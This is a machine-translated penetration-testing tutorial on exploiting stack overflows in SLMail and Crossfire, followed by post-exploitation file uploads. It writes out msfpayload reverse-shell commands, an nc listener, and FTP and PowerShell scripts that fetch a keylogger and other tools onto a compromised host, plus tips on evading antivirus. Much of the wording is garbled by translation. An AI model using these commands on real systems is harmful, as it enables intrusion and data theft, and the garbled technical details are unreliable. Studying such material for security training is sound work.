시스템 튜토리얼 리눅스 Linux 침투 테스트 튜토리얼: 시작부터 포기까지 스택 오버플로에 대해 단계별로 교육합니다.

Linux 침투 테스트 튜토리얼: 시작부터 포기까지 스택 오버플로에 대해 단계별로 교육합니다.

Feb 02, 2024 am 09:36 AM
스택 오버플로 파이썬 각본

노트 내용은 Security Niu 강의실 Mr. Yuan Fanghong의 KaliLinux 침투 테스트 튜토리얼을 참조하세요

모든 취약점의 핵심은 데이터 입력에서 비롯됩니다. 버퍼 오버플로의 원리는 데이터와 코드 사이의 경계가 모호해지면 버퍼의 경계 제한이 엄격하지 않으면 버퍼가 "폭발"됩니다. 잘못된 데이터를 전달하는 변수나 프로그램 실행 오류를 "Exploit"하여 인접한 비디오 메모리 영역의 데이터를 덮어쓰고 비디오 메모리 데이터를 성공적으로 변경하여 프로세스 납치, 악성 코드 실행 및 서버 제어권을 획득할 수 있습니다.

버퍼 오버플로의 원리를 더 잘 이해하려면 저자가 재인쇄한 기사를 참조하세요.

스택 오버플로에 대해 시작부터 포기까지 단계별로 가르쳐주세요(1부)

스택 오버플로 사용 방법을 시작부터 포기까지 단계별로 가르쳐드립니다(2부)

기사 디렉토리

1. 취약점 발견 방법 (1) 소스코드 감사

소프트웨어 개발자는 사회 공학 및 기타 방법을 사용하여 검토 및 디버깅을 위한 소스 코드를 얻을 수 있습니다. 조건이 엄격하여 소스 코드를 일반적으로 사용할 수 없습니다.

(2) 리버스 엔지니어링

분석을 위한 어셈블리 소스 코드를 얻으려면 리버스 엔지니어링을 사용하세요. 어셈블리 코드 분석은 작업량이 많고 어렵습니다.

linux防缓冲区溢出_缓冲区溢出代码例子_缓冲区溢出shellcode

(3) 퍼징

대상 시스템에 예상치 못한 입력을 제공하고 비정상적인 결과를 모니터링하여 소프트웨어 취약점을 발견하는 방법입니다. 일반적으로 이는 유효한 입력을 사용하고 임의의 편차를 추가하여 수행되며, 이를 위해서는 소프트웨어 디버깅 도구(예: ImmunityDebugger)를 사용해야 합니다. .

2. 퍼즈 테스트 과정

퍼즈 테스트 과정에서는 이 보호 메커니즘을 피해야 하기 때문에 먼저 버퍼 오버플로에 대한 몇 가지 보안 보호 기술을 이해해야 합니다.

(1) 윈도우

테스트 소프트웨어는 'SLMail5.5.0MailServer'이며 PASS 명령에 버퍼 오버플로 취약점이 있습니다. 기본 아이디어: (ImmunityDebugger를 디버깅 도구로 사용)

1. Python 스크립트를 사용하여 PASS 명령이 대량의 데이터를 수신할 때 오버플로되는지 테스트합니다. 일반적으로 3000자 이후에 오버플로가 없으면 오버플로 취약점이 없어야 함을 의미합니다.

2. 오버플로 취약점을 발견한 후 EIP에 해당하는 주소를 확인합니다. 기본 방법은 바이너리 방법과 고유 문자열 방법입니다. 고유한 문자열 메서드는 Metasploit 스크립트 usr/share/metasploit-framework/tools/pattern_create.rb3000을 사용하여 생성할 수 있습니다.

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

3.EIP를 Shellcode에 해당하는 비디오 메모리 주소로 변경하고 해당 주소 공간에 Shellcode를 쓰면 프로그램이 EIP 레지스터 값을 읽고 Shellcode 코드 세그먼트로 점프하여 실행합니다.

4. 디버깅 도구를 통해 전송된 데이터가 EIP를 채운 후 ESP가 가리키는 공간을 채우는 것을 발견하여 ESP 위치에 Shellcode를 배치했습니다.

5. ESP 주소에서 스택 하단까지의 거리를 결정합니다. Linux 버퍼 오버플로 방지, 즉 쉘코드의 크기를 저장할 수 있습니다. Python 스크립트를 사용하여 테스트용 소프트웨어에 데이터를 보내고, 소프트웨어를 디버그하여 ESP가 가리키는 공간에 얼마나 많은 데이터가 저장되어 있는지 확인합니다. 현대 컴퓨터 시스템 프로세스의 비디오 메모리 공간에 대한 보기가 그림에 나와 있습니다.

그림 1 프로세스 메모리 공간 보기

6. ASLR 메커니즘으로 인해 소프트웨어가 실행될 때마다 함수 호출 스택의 주소가 무작위로 변경되므로 하드 코딩이 불가능합니다. 대안은 비디오 메모리에서 고정된 주소를 가진 시스템 모듈을 찾는 것입니다. 모듈에서 JMPESP 명령어의 주소 점프 그런 다음 이 명령어는 ESP로 직접 점프한 다음 mona.py 스크립트를 사용하여 JMPESP의 모듈인 "returnaddress"를 검색합니다. /usr /share/metasploit-framework/tools/nasm_shell.rb의 도움으로 DEP 및 ASLR 메커니즘으로 보호되지 않는 시스템 모듈을 찾으세요. 어셈블리 명령어 jmpesp를 FFE4의 2의 보수로 변환하고 FFE4를 검색하세요. 모듈!monafind-s "xffxe4"-mslmfc.dll의 명령어, 명령어 주소를 찾은 후 EIPlinux 버전 qq의 주소 채우기를 변환하고 쉘코드를 구성하고 잘못된 문자를 제거합니다: /msfpayloadwin32_reverseLHOST=192.168.20.8LPORT =443R|./msfencode-b“x00x0ax0d

참고: 쉘코드를 구성할 때 선택한 페이로드는 바인딩을 위한 직접 연결이 아닌 역방향 연결입니다. 이렇게 하면 방화벽의 차단 전략을 피할 수 있습니다.

7. 마지막으로 nc-vlp443 포트 탭을 활성화합니다. Shellcode가 실행된 후 ExitProcess 메서드를 사용하여 전체 프로세스를 종료합니다. 그러면 SMS 서비스가 중단됩니다. ExitThread 메서드를 적용하면 이를 방지할 수 있습니다. 전체 서비스가 충돌하지 않고 반복적인 오버플로가 발생합니다. /msfpayloadwin32_reverseLHOST=192.168.20.8EXITFUNC=threadLPORT=443R|./msfencode-b"x00x0ax0d"

참고: 다양한 유형의 프로그램, 프로토콜 및 취약점은 개별 문자를 잘못된 문자로 간주합니다. 이러한 문자는 용도가 고정되어 있으므로 반환 주소, 셸코드 또는 버퍼에 잘못된 문자가 나타날 수 없습니다. 0x00-0xff256 문자를 보내고 모든 잘못된 문자를 찾습니다. 잘못된 문자는 Metasploit 스크립트 ./msfencode를 사용하여 인코딩할 수 있습니다.

8. 공격 대상을 추가로 제어하려면 레지스트리를 변경하여 원격 데스크톱을 열 수 있습니다.

으아아아

(2)리눅스

테스트 소프트웨어는 'Crossfire'이며, 1.9.0에는 인바운드 소켓 연결을 허용할 때 버퍼 오버플로 취약점이 있습니다. 기본 아이디어는 Windows Fuzzing(edb가 디버깅 도구로 사용됨)과 동일하므로 다음 사항에 주의해야 합니다.

1. 디버깅 명령: edb--run/usr/games/crossfire/bin/crossfire

2. 버퍼 오버플로를 확인해보니 페이로드가 4368바이트로 고정되어 있어야만 EIP의 값을 정확하게 커버할 수 있다는 사실을 발견했습니다. 이렇게 해서 ESP가 가리키는 공간은 7바이트밖에 되지 않아 충분하지 않습니다. 따라서 edb에서 검색하면 데이터로 완전히 덮힌 레지스터가 EAX를 찾을 수 있으므로 해결 방법으로 ESP는 EAX로 점프하여 Shellcode를 실행합니다.

3.EXP를 선택하고 변경하세요

오랫동안 공개된 다양한 소프트웨어 취약점에 대한 도움말 코드(EXP)가 인터넷에 있습니다. 신뢰할 수 있는 EXP 소스를 선택하고 이를 기반으로 연구나 변경을 수행할 수 있습니다. 특히 Shellcode는 쉽게 사용할 수 없습니다.

Linux 안티 버퍼 Overflow, 바이러스가 포함될 수 있는 Linux 시스템 애플리케이션의 경우 일반적으로 마스터해야 하는 프로그래밍 언어에는 Python, C, C++, Ruby 등이 있습니다. 신뢰할 수 있는 여러 EXP 소스:

EXP를 받은 후에는 다음 사항에 주의해야 합니다.

4. 취약성 이후 단계

도구 업로드, 권한 상승, 공격 흔적 삭제, 사이드 도어 설치 등의 추가 작업을 포함합니다. 여기서는 파일 업로드 작업에 대해서만 설명합니다. 파일 업로드는 트로이 목마 사전 설치 및 사이드 도어 설치를 주로 기반으로 합니다. 획득한 대상 운영 체제의 셸에서 파일 업로드 작업을 수행합니다.

(一)Windows

首先须要了解,用nc侦听端口取得的shell是非交互shell,这样在一些须要交互的环境操作受限,例如tab难以手动补全、一些参数难以交互输入等,所以须要上传其他的远控程序,如灰肉鸽。这儿主要讨论怎样上传这种远控程序:

1.Linux端:配置ftp服务

登陆FTP有三种形式:

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

<span class="token function">apt-get</span> <span class="token function">install</span> vsftpd <span class="token comment">#Linux中ftp服务有很多,这里使用vsftpd</span>
vim /etc/vsftpd/vsftpd.conf<span class="token comment">#配置vsftpd服务,这里采用系统用户登录的方式</span>
<span class="token comment">#添加配置</span>
local_root<span class="token operator">=</span>/home/ftpduser/ <span class="token comment">#系统用户登录后的主目录</span>
<span class="token comment">#可以设置用户独立配置文件保存目录:user_config_dir=/etc/vsftpd/ftpduser_config/ </span>
<span class="token comment">#对特定的用户ftpuser1可以单独进行配置,方法是在user_config_dir指定的目录下建立ftpuser1文件(和用户名相同的文件),然后在其中写上配置内容</span>
chroot_local_user<span class="token operator">=</span>YES <span class="token comment">#该值为YES时,所有用户只能限制在其主目录下访问</span>
chroot_list_enable<span class="token operator">=</span>NO<span class="token comment">#该值为YES时,其中的用户即为与chroot_list_file中相例外的用户;为NO时,没有例外的用户。</span>
chroot_list_file<span class="token operator">=</span>/etc/vsftpd.chroot_list
<span class="token comment">#如chroot_local_user=NO,chroot_list_enable=YES,此时所有用户都可以访问任何目录,而chroot_list_file中的用户只能访问其主目录</span>
userlist_deny<span class="token operator">=</span>NO <span class="token comment">#该值为YES时,/etc/vsftpd/user_list文件中指定的用户不能访问FTP服务器;值为NO时,则仅允许指定的用户访问FTP服务器</span>
userlist_enable<span class="token operator">=</span>YES<span class="token comment">#/etc/vsftpd/user_list文件有效</span>
<span class="token keyword">echo</span> ftpduser1 <span class="token operator">>></span> /etc/vsftpd/user_list<span class="token comment">#这个文件禁止或允许使用vsftpd的用户列表文件</span>
<span class="token comment">#!!注意user_list文件中的用户列表和ftpusers不同,ftpusers不受任何配制项的影响,它是一个黑名单,总是有效</span>
<span class="token function">mkdir</span> /home/ftpduser
<span class="token function">useradd</span> -d /home/ftpduser/ftpuser1 -s /sbin/nologin ftpduser1
<span class="token function">service</span> vsftpd start
로그인 후 복사

2.Windows端:因为系统缺乏预装的下载工具,所以须要自行配置

(1)使用ftp传输文件

由于非交互shell未能登入ftp服务,所以编撰ftp配置脚本。

<span class="token function">echo</span> open 192<span class="token punctuation">.</span>168<span class="token punctuation">.</span>1<span class="token punctuation">.</span>2 21>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> ftpduser1>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> passw0rd>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> bin>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> GET whoami<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> GET klogger<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> bye>>ftp<span class="token punctuation">.</span>txt
ftp <span class="token operator">-</span>s:ftp<span class="token punctuation">.</span>txt
로그인 후 복사

(2)使用powershell传输文件

<span class="token function">echo</span> <span class="token variable">$storageDir</span> = <span class="token variable">$pwd</span>
<span class="token variable">$webclient</span> = <span class="token function">New-Object</span> System<span class="token punctuation">.</span>Net<span class="token punctuation">.</span>WebClient
<span class="token variable">$url</span> = <span class="token string">"http://192.168.1.2/whoami.exe"</span>
<span class="token variable">$file</span> = <span class="token string">"new-exploit.exe"</span>
<span class="token variable">$webclient</span><span class="token punctuation">.</span>DownloadFile<span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">.</span><span class="token variable">$file</span><span class="token punctuation">)</span>
powershell<span class="token punctuation">.</span>exe <span class="token operator">-</span>ExecutionPolicy Bypass <span class="token operator">-</span>Nologo <span class="token operator">-</span>NonInteractive <span class="token operator">-</span>Noprofile <span class="token operator">-</span>File wget<span class="token punctuation">.</span>ps1
로그인 후 복사

(二)Linux

借助netcat、curl、wget等系统自带的工具上传文件,比较容易实现,不再赘言。

注意:上传的文件要防止被目标系统杀毒软件去除,尽量使用合法的远程控制软件,如nc。

위 내용은 Linux 침투 테스트 튜토리얼: 시작부터 포기까지 스택 오버플로에 대해 단계별로 교육합니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

인기 기사

R.E.P.O. 에너지 결정과 그들이하는 일 (노란색 크리스탈)
1 몇 달 전 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 최고의 그래픽 설정
1 몇 달 전 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 아무도들을 수없는 경우 오디오를 수정하는 방법
1 몇 달 전 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 채팅 명령 및 사용 방법
1 몇 달 전 By 尊渡假赌尊渡假赌尊渡假赌

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

crontab 예약 작업이 실행되지 않는 몇 가지 이유를 알고 있습니까? crontab 예약 작업이 실행되지 않는 몇 가지 이유를 알고 있습니까? Mar 09, 2024 am 09:49 AM

crontab 예약 작업이 실행되지 않는 몇 가지 이유 요약 업데이트 시간: 2019년 1월 9일 09:34:57 작성자: 현장에서 crontab 예약 작업이 실행되지 않는 몇 가지 이유를 주로 요약하고 소개합니다. 모두 이 문제에 직면한 동료를 위한 특정 참조 및 학습 가치가 있는 각 가능한 트리거에 대한 솔루션이 제공됩니다. 도움이 필요한 학생들은 편집자를 따라 함께 학습할 수 있습니다. 최근 직장에서 몇 가지 문제가 발생했습니다. 나중에 인터넷을 검색해 보니 인터넷에서 주로 다음과 같은 5가지 인센티브를 언급하고 있었습니다. 1. 크론드 서비스가 시작되지 않았습니다. 크론탭은 리눅스 커널의 기능이 아니고 크론에 의존합니다.

pyjoke를 사용하여 임의의 농담을 만드는 Python 스크립트 pyjoke를 사용하여 임의의 농담을 만드는 Python 스크립트 Sep 13, 2023 pm 08:25 PM

Python 스크립트나 애플리케이션에 유머를 추가하고 싶으신가요? 챗봇을 구축하든, 명령줄 도구를 개발하든, 아니면 그냥 무작위 농담으로 즐겁게 지내고 싶다면 pyjokes 라이브러리가 도움이 될 수 있습니다. pyjokes를 사용하면 다양한 카테고리의 농담을 쉽게 생성하고 원하는 대로 사용자 정의할 수 있습니다. 이번 블로그 게시물에서는 pyjokes 라이브러리를 사용하여 Python에서 임의의 농담을 만드는 방법을 살펴보겠습니다. 설치 과정, 다양한 카테고리의 농담 생성, 농담 사용자 정의, 콘솔 응용 프로그램이나 웹 페이지에 표시, 발생할 수 있는 잠재적인 오류 처리 등을 다룹니다. pyjokes 설치 pyjoke를 사용하여 임의의 농담을 만들기 전에 다음이 필요합니다.

Python 스크립트는 Excel 스프레드시트를 자동으로 새로 고칩니다. Python 스크립트는 Excel 스프레드시트를 자동으로 새로 고칩니다. Sep 09, 2023 pm 06:21 PM

Python과 Excel은 결합하면 자동화의 세계를 열 수 있는 두 가지 강력한 도구입니다. Python에는 다양한 작업을 효율적으로 수행하기 위한 스크립트를 작성할 수 있는 다양한 라이브러리와 사용자 친화적인 구문이 있습니다. 반면 Excel은 데이터 분석 및 조작을 위한 친숙한 인터페이스를 제공하는 널리 사용되는 스프레드시트 프로그램입니다. 이 튜토리얼에서는 Python을 활용하여 Excel 스프레드시트 새로 고침 프로세스를 자동화하여 시간과 노력을 절약하는 방법을 살펴보겠습니다. 업데이트된 데이터로 Excel 스프레드시트를 수동으로 새로 고치는 데 귀중한 시간을 보내고 있습니까? 이는 생산성을 저하시킬 수 있는 반복적이고 시간 소모적인 작업입니다. 이 글에서는 Py를 사용하는 방법을 안내하겠습니다.

PyCharm 고급 튜토리얼: PyInstaller를 사용하여 코드를 EXE 형식으로 패키징 PyCharm 고급 튜토리얼: PyInstaller를 사용하여 코드를 EXE 형식으로 패키징 Feb 20, 2024 am 09:34 AM

PyCharm은 개발자의 효율성 향상에 도움이 되는 풍부한 기능과 도구를 제공하는 강력한 Python 통합 개발 환경입니다. 그중 PyInstaller는 Python 환경이 없는 컴퓨터에서 쉽게 실행할 수 있도록 Python 코드를 실행 파일(EXE 형식)로 패키징할 수 있는 일반적으로 사용되는 도구입니다. 이 기사에서는 PyCharm에서 PyInstaller를 사용하여 Python 코드를 EXE 형식으로 패키징하는 방법을 소개하고 특정 기능을 제공합니다.

Orange3 탐험: 데이터 마이닝과 머신러닝의 새로운 세계를 열어보세요! Orange3 탐험: 데이터 마이닝과 머신러닝의 새로운 세계를 열어보세요! Mar 04, 2024 pm 08:16 PM

Orange3은 강력한 오픈 소스 데이터 시각화 및 기계 학습 도구로, 풍부한 데이터 처리, 분석 및 모델링 기능을 갖추고 있어 사용자에게 간단하고 빠른 데이터 마이닝 및 기계 학습 솔루션을 제공합니다. 이 기사에서는 Orange3의 기본 기능과 사용법을 간략하게 소개하고 이를 실제 응용 프로그램 시나리오 및 Python 코드 사례와 결합하여 독자가 Orange3의 사용 기술을 더 잘 익힐 수 있도록 돕습니다. Orange3의 기본 기능에는 데이터 로딩, 데이터 전처리, 특징 선택, 모델 구축 및 평가 등이 포함됩니다. 사용자는 직관적인 인터페이스를 사용하여 구성 요소를 끌어서 놓아 데이터 프로세스를 쉽게 구축할 수 있습니다. 동시에 더 복잡한 데이터 처리 및 모델링 작업도 Python 스크립트를 통해 완료할 수 있습니다. 아래에서는 실습을 진행하겠습니다.

pycharm에서 Excel 데이터를 읽는 방법 pycharm에서 Excel 데이터를 읽는 방법 Apr 03, 2024 pm 08:42 PM

PyCharm을 사용하여 Excel 데이터를 읽는 방법은 무엇입니까? 단계는 다음과 같습니다. openpyxl 라이브러리를 가져오고, Excel 통합 문서를 로드하고, 워크시트의 셀에 액세스합니다.

python_python 반복 문자열 튜토리얼에서 문자열을 반복하는 방법 python_python 반복 문자열 튜토리얼에서 문자열을 반복하는 방법 Apr 02, 2024 pm 03:58 PM

1. 먼저 pycharm을 열고 pycharm 홈페이지로 들어갑니다. 2. 그런 다음 새 Python 스크립트를 생성하고 마우스 오른쪽 버튼을 클릭하고 새로 만들기를 클릭한 후 Pythonfile을 클릭합니다. 3. 문자열(코드: s="-")을 입력합니다. 4. 그런 다음 문자열의 기호를 20번 반복해야 합니다(코드: s1=s*20). 5. 인쇄 출력 코드(코드: print(s1))를 입력합니다. 6. 마지막으로 스크립트를 실행하면 하단에 반환 값이 표시됩니다. - 20번 반복됩니다.

Flask 설치 및 구성 튜토리얼: Python 웹 애플리케이션을 쉽게 구축하기 위한 도구 Flask 설치 및 구성 튜토리얼: Python 웹 애플리케이션을 쉽게 구축하기 위한 도구 Feb 20, 2024 pm 11:12 PM

Flask 설치 및 구성 튜토리얼: Python 웹 애플리케이션을 쉽게 구축하기 위한 도구로, 특정 코드 예제가 필요합니다. 소개: Python의 인기가 높아짐에 따라 웹 개발은 Python 프로그래머에게 필요한 기술 중 하나가 되었습니다. Python으로 웹 개발을 수행하려면 적합한 웹 프레임워크를 선택해야 합니다. 많은 Python 웹 프레임워크 중에서 Flask는 개발자가 선호하는 간단하고 사용하기 쉽고 유연한 프레임워크입니다. 이번 글에서는 Flask 프레임워크 설치에 대해 소개하겠습니다.

See all articles